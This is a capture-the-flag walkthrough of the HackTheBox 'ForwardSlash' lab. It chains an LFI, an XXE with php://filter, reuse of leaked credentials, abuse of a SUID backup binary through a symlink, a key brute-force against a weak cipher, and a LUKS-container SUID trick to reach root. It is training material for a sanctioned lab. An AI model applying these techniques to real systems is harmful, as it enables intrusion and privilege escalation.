HackTheBox - ForwardSlash
ForwardSlash just retired on Hackthebox. It was a really cool box but full of rabbit holes. Rated hard difficulty it is a very “CTF-Like” box that could be very frustrating for some but also very fun for others. Globally I really enjoyed this box and learned a few tricks. The only drawbacks of this one is to require users to reset the box after getting the root flag since the root access greatly spoil other users. Unfortunately most users don’t clean up after them leaving the root access wide open and easy.
Tl;Dr: The user flag consisted in accessing a backup website location, creating account on it as admin
. From there you could exploit a Local File Inclusion (LFI) and XML External Entity Injection (XXE) vulnerability to extract php files containing credentials for chiv
user. Next step was to pivot from chiv
to pain
user by reversing a suid
home-made backup manager to display config file backup using a symbolic link.
The root flag could be accessed after decrypting a encrypted text file in pain
home folder. Having access to the decryption function and using a weak algorithm it was possible to brute-force the key used to encrypt the text file that turn out to contains the password of an encrypted LUKS disk containing the root
user SSH private key file.
The box had 2 ways to access to chiv
user and an unintended way to access root flag that I will describe in this write-up.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
1 | [hg8@archbook ~]$ echo "10.10.10.183 forwardslash.htb" >> /etc/hosts |
and let’s start!
User flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC forwardslash.htb |
We have the “classic”: A web app running on port 80 and the SSH port 22 open.
Opening http://forwardslash.htb/
display the following website:
Another hacked website?
The message seems to gives us information about the website got compromised:
This was ridiculous, who even uses XML and Automatic FTP Logins
Let’s keep that in mind for later.
Let’s now run gobuster
to see if he can find some juicy files and folders:
1 | [hg8@archbook ~]$ gobuster dir -u "http://forwardslash.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php |
Nothing? That’s odd… Let’s try with different file extension. First with .xml
since it’s stated in the hacker message. Still no results…
Trying other common extensions until….
1 | [hg8@archbook ~]$ gobuster dir -u "http://forwardslash.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x txt |
note.txt
that’s not much but it’s a start!
1 | [hg8@archbook ~]$ curl http://forwardslash.htb/note.txt |
It’s a note from one of the website developer. The interesting part is him saying we still have that backup site
. Since gobuster
didn’t discover any other subdirectories and nmap
no other open ports, what remains ? Subdomain probably.
To give a try let’s add backup.forwardslash.htb
to our host file:
1 | [hg8@archbook ~]$ echo "10.10.10.183 backup.forwardslash.htb" >> /etc/hosts |
And bingo, opening http://backup.forwardslash.htb/
display a login form:
ForwardSlash Backup Site
First thing I always try when stumbling upon Login form is trying to login with the credentials admin:admin
. This time it doesn’t work but an error message is returned:
No account found with that username “admin”.
Might be interesting to keep in mind for later.
Since there is a register form let’s create an account and connect to this backup platform.
We arrive to a dashboard with different options for editing our current accounts and two informations pages.
Let’s focus on the “Change profile picture” page. Profile picture upload page are often a good way to upload a web shell to a server.
Method 1: Profile picture Local File Inclusion
Once opening the page we get another message from the pain
user:
While inspecting the source code we can indeed see that both text file and submit button have been set to disabled
.
From the first look it seems like simply removing the disabled
attribute will allow us to use the form.
Since the form takes an URL as input, let’s open a python web server on our machine to see if the form is making call to the given url:
1 | [hg8@archbook ~]$ python -m http.server |
And indeed when validating the form a new request appear on our web server confirming that the “Photo Update” function is still running and only the HTML form got disabled:
1 | [hg8@archbook ~]$ python -m http.server |
But something more interesting appear on the page:
The web server return message gets displayed below the form.
Something else come to my mind. Seeing the box name ForwardSlash
can we use this form to achieve Local File Inclusion ? Let’s see if we can access the index.php
file from here.
Permission Denied; not that way ;)
Seems like we are almost on the right track… Let’s try the classical /etc/passwd
to validate -or not- the LFI theory:
Bingo! We can see two users on the box: chiv
and pain
. The same two developers we have seen leaving messages around. Let’s keep that in mind for later.
Now let’s try to access other useful files using this LFI. From here I decided to write a small script to ease the LFI process. As much as possible it’s always good to write your own script to make sure you understand every steps you are doing.
This script is clearly not the prettiest one nor that most performant to it do the job well enough:
1 | import requests |
Let’s give it a try:
1 | [hg8@archbook ~]$ python lfi-blog.py |
Faster and easier to read right ?
Using this let’s try to access as much file as we can, first let’s try the usual sensitive SSH keys:
1 | [hg8@archbook ~]$ python lfi-blog.py |
It would have been too easy right of course. Maybe if we can find the web app path we can access the app source code with sensitive informations.
1 | [hg8@archbook ~]$ python lfi-blog.py |
Here we have the credentials of the temp
database, this won’t be very useful. Since we know the server is Apache let’s see if the web app is stored in the default Apache folder:
1 | [hg8@archbook ~]$ python lfi-blog.py |
Unfortunately it’s the defaced website laying here and it’s the backup website that will be interesting for us. Knowing that the server is Apache you can guess that backup.forwardslash.htb
is using a Virtual Host.
In addition a common practice is to use the domain name as folder to setup Virtual Host since it’s easier for organization. For example:
1 | Listen 80 |
Let’s now try to see if our theory is correct:
1 | [hg8@archbook ~]$ python lfi-blog.py |
Alright! We have the right path. Now let’s check for files found previously by gobuster
. One that particularly catch the eye is the /dev/
folder since we can not access it:
Let’s see if we can access the index.php
inside this folder to see what it is doing:
1 | [hg8@archbook ~]$ python lfi-blog.py |
FTP credentials for chiv
user, that explains why the defaced homepage mentioned “who even uses XML and Automatic FTP Logins“.
Since nmap
didn’t return any open FTP server let’s try to reuse those credentials to login into SSH:
1 | [hg8@archbook ~]$ ssh [email protected] |
Method 2: XXE Local File Inclusion on /dev/ API
The second method was the main one to go to. That’s the one I used. Let’s see in detail the process.
First let’s see the first rabbit hole I fell into. Knowing that the /dev/
endpoint can’t be accessed from our host, we can imagine it’s accessible from 127.0.0.1
right ?
With this knowledge we could probably exploit again the profilepicture.php
page to access this page using SSRF. Let’s give a try:
Alright, that’s a good progress, we managed to access the /dev/
endpoint. This gives us a few ideas of what is there:
An XML API
A page (
index.php
) to test this APIAnd probably something related to FTP as seen in the
/dev/index.php
page source code :<!-- TODO: Fix FTP Login-->
.
That’s a lot of useful informations, but what can we really do from here ? Unfortunately not much now since the /dev/index.php
page is “interactive”. After trying to exploit this page page from the profilepicture.php
in every possible ways I finally gave up thinking it’s not the right way to go.
When this happen I like to go back to the beginning to make sure I didn’t miss something important. While doing so I remembered my notes:
No account found with that username “admin”.
Might be interesting to keep that in mind for later.
In the same idea of the recently released “Book” box let’s try to create the admin
account to see if you can gain extra privileges on the app:
It works, at first it don’t seems like we have extra privileges… What about that /dev/
endpoint?
That’s a great progress! And now we can access the returned output of the test function. Now we can focus on finding a vulnerability in this XML Api using the test function.
The first thing that come to mind when working with XML is XXE (XML External Entity Processing). We can see that the content of <request>
node is reflected in the output of the API. Can we exploit this behavior to access local resources?
Let’s try with the most common XXE injection adapted to this API format:
1 |
|
Bingo! Let’s now try to access the current page (index.php
) to see if we can find details about FTP mentioned in the code source.
If we can guess the current page full path we can go the same way:
1 |
|
In the case we didn’t know the full current path, it’s also possible to access it using php://filter
:
1 |
|
Looks good! Let’s decode this output to see the content of the index.php
file:
1 | [hg8@archbook ~]$ cat output | base64 -d > index.php |
And while looking around this index.php
we stumbled across:
1 | if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { |
FTP credentials for chiv
user, that explains why the defaced homepage mentioned “who even uses XML and Automatic FTP Logins“.
Since nmap
didn’t return any open FTP server let’s try to reuse those credentials to login into SSH:
1 | [hg8@archbook ~]$ ssh [email protected] |
Pivot chiv -> pain
As we noticed earlier we are going to need to pivot from chiv
to pain
user in order to gain access to the user flag:
1 | chiv@forwardslash:~$ ls -l /home/pain |
In pain
home folder we can read a note.txt
:
1 | chiv@forwardslash:/$ cat /home/pain/note.txt |
The tool used to “encrypt“ the important files is also present in pain
home folder:
1 | chiv@forwardslash:~$ ls -l /home/pain/encryptorinator/ |
Alright, we have a encrypted file and the tool used to encrypt it, if we manage to break the crypto, the cipher
will probably offer us a clue to gain access to pain
user right ?
While you can spend time on breaking the crypto -spoiler alert- this will only be useful to gain access to root
, and not pain
user.
Let’s focus on another unusual point that seems interesting about pain
account:
1 | chiv@forwardslash:~$ id pain |
pain
belongs to the backupoperator
group, so there is definitely something going on with a backup process.
While continuing the recon process we stumble across an uncommon backup files:
1 | chiv@forwardslash:~$ ls -l /var/backups/ |
And an uncommon SUID binary belonging to pain
:
1 | chiv@forwardslash:~$ find /usr/bin/ -perm -u=s -type f |
That’s probably the backup file and tool mentioned in chiv
user note.txt
?
Let’s try to see what’s this backup tool is doing:
1 | chiv@forwardslash:/$ /usr/bin/backup |
Uhm… This doesn’t give us a lot of information:
ERROR: 4e5cc88469959df047cf694749b0e917 Does Not Exist or Is Not Accessible By Me, Exiting…
4e5cc88469959df047cf694749b0e917
is MD5, but of what ? At each run of the binary this MD5 change.
Let’s run the binary through ltrace
to see what is it actually doing “behind the hood”:
1 | chiv@forwardslash:/$ ltrace /usr/bin/backup |
Ok so let’s break it down:
- We get the current user
uid
andguid
1 | getuid() = 1001 |
- The current time get generated:
1 | time(0) = 1586160529 |
- A MD5 digest is made of the current time generated previously:
1 | MD5_Update(0x7ffe22beb0b0, 0x55dc061618e0, 8, 0x55dc061618e0) = 1 |
- The
uid
andguid
is changed to1002
which correspond to thebackupoperator
group in whichpain
belongs:
1 | setuid(1002) = -1 |
- The binary try to access a file named after the MD5 digest generated previously and output error if the file does not exist:
1 | access("0b6cc9243db1b3a379efa95641906294"..., 0) = -1 |
- The
uid
andguid
is set back to normal one and the file gets deleted:
1 | setuid(1001) = 0 |
Tl;Dr: The backup
binary is looking for a file with a specific name (MD5 of current time) as backupoperator
group.
Let’s create a small script to create this specific file to see what happen when the backup
find the file he is searching for.
Let’s make it simple to start with:
1 |
|
The ltrace
output now is slightly different:
1 | chiv@forwardslash:/$ bash /tmp/.tmp/test-backup.sh |
We can now see that the backup
binary open the file and print its content to console.
So here is what we know so far: the backup
binary will open a given file and display its content as pain
user. Using symlink we should be able to read any files on the system owned by pain
- like for example the config.php.bak
file we found previously.
Let’s edit our script to try this theory:
1 |
|
And let’s run it:
1 | chiv@forwardslash:/$ bash /tmp/.tmp/test-backup.sh |
Neat, we got a new password for pain
, while it’s for MySQL let’s try it on SSH:
1 | [hg8@archbook ~]$ ssh [email protected] |
Root flag
Recon
Ok, after few struggles here we are with pain
user. From here no need for a lot of recon since everything we need is in the home folder:
1 | pain@forwardslash:~$ ls -l |
As a reminder the note.txt
contains the following message:
Pain, even though they got into our server, I made sure to encrypt any
important files and then did some crypto magic on the key…
I gave you the key in person the other day, so unless these hackers
are some crypto experts we should be good to go.-chiv
If we look into the encryptorinator
folder we can find what chiv
is talking about:
1 | pain@forwardslash:~$ ls -l encryptorinator/ |
ciphertext
seems to be the “important file“ that got encrypted, and encrypter.py
is definitely the tool used to encrypt the file. Let’s take a look:
1 | def encrypt(key, msg): |
Ok, this is a not very robust crypto mechanism but definitely not trivial to break. On in opposition to Obscurity box we don’t have a clear text equivalent of the ciphertext that could help us find the key.
Two things are still interesting here. First we have access to the decrypt function. Second chiv
says in the note.txt
:
I gave you the key in person the other day
Well if the key was given in person, on a paper probably, it surely can’t be a super complicated key right…
Maybe we can try to brute-force it ?
Encryption key bruteforce
Let’s copy the script to our machine and tweak it a bit to brute-force the key using a wordlist.
One thing we need to think about is how our script will detect the key is correct.
We can notice that trying to decrypt the ciphertext
with an incorrect key only output garbage:
1 | [hg8@archbook ~]$ python decrypter.py |
Knowing this let’s make an if
condition stopping the script if the output contains printable characters only, meaning the key is valid. Here is a first version:
1 | import string |
Let’s run it and….
1 | [hg8@archbook ~]$ python decrypter.py |
Well no results.
What could be the issue here? When reading again the crypto algorithm we notice it’s possible under certain circumstances to get non-printable characters in decrypted text.
Another point to note is that because of the algorithm, the ciphertext
contains the same number of characters as the decrypted source. The ciphertext
being 165 char long len(encrypted)
, let’s tweak our if
condition to validate a key if the output contains total of ~158 chars are printable chars.
This should be enough to bypass the accidental non printable chars being present in the decrypted text:
1 | import string |
Let’s give a new try:
1 | [hg8@archbook ]$ python decrypter.py |
Alright we got a new password cB!6%sdH8Lj^@Y*$C2cf
to decrypt the image located at /var/backups/recovery
.
This explains the sudo
entries available for pain
user:
1 | pain@forwardslash:~$ sudo -l |
Accessing encrypted LUKS image
The image located in /var/backups/recovery
is a [Linux Unified Key Setup (LUKS)](Linux Unified Key Setup) encrypted volume. Let’s decrypt it using the password we got:
1 | pain@forwardslash:/$ ls /var/backups/recovery/ |
The volume should have now been mapped to /dev/mapper
, let’s mount it to access its content:
1 | pain@forwardslash:/$ ls -l /dev/mapper |
Well look at this! An SSH private key. Can’t dream any better :)
Let’s see if it belongs to root
user :
1 | [hg8@archbook ~]$ ssh -i id_rsa [email protected] |
Closing note: Since the process required to mount a volume it was more important than ever to not forget cleaning after yourself, to not spoil other user and offering a “super-easy” way to root. The best way was to unmount the encrypted volume after getting the id_rsa
and even reseting the box to make sure not forgetting anything:
1 | pain@forwardslash:/$ cd /tmp/.tmp/ |
“Unintended” way to root
It was also possible to access the root flag without touching the “crypto” script at all.
Indeed the following sudo configuration allow to open and mount any luks encrypted container:
1 | User pain may run the following commands on forwardslash: |
So what does it mean ? It means that we could create, on our machine, our own container containing a SUID binary (for example) and access root this way from pain
user.
Let’s see how it’s done.
First let’s create our container:
1 | [hg8@archbook ~]$ fallocate -l 20M sdash.img |
Alright, we have our container. Next step are:
Format and mount it:
1
2
3
4
5[hg8@archbook ~]$ sudo cryptsetup luksOpen ./sdash.img backup
Enter passphrase for ./sdash.img:
[hg8@archbook ~]$ sudo mkfs.ext4 /dev/mapper/backup
[hg8@archbook ~]$ mkdir mnt
[hg8@archbook ~]$ sudo mount /dev/mapper/backup ./mnt/Putting our SUID binary in it (I will use
dash
)1
[hg8@archbook ~]$ sudo sh -c 'cp $(which dash) ./mnt/; chmod +s ./dash'
Close and upload our container to the box:
1
2
3[hg8@archbook ~]$ sudo umount ./mnt
[hg8@archbook ~]$ sudo cryptsetup close backup
[hg8@archbook ~]$ scp sdash.img [email protected]:/tmp/.tmp/
Now let’s simply open and mount the container, the same way we saw previously for the root flag:
1 | pain@forwardslash:/$ sudo /sbin/cryptsetup luksOpen sdash.img backup |
As always do not hesitate to contact me for any questions or feedbacks :)
See you next time !
-hg8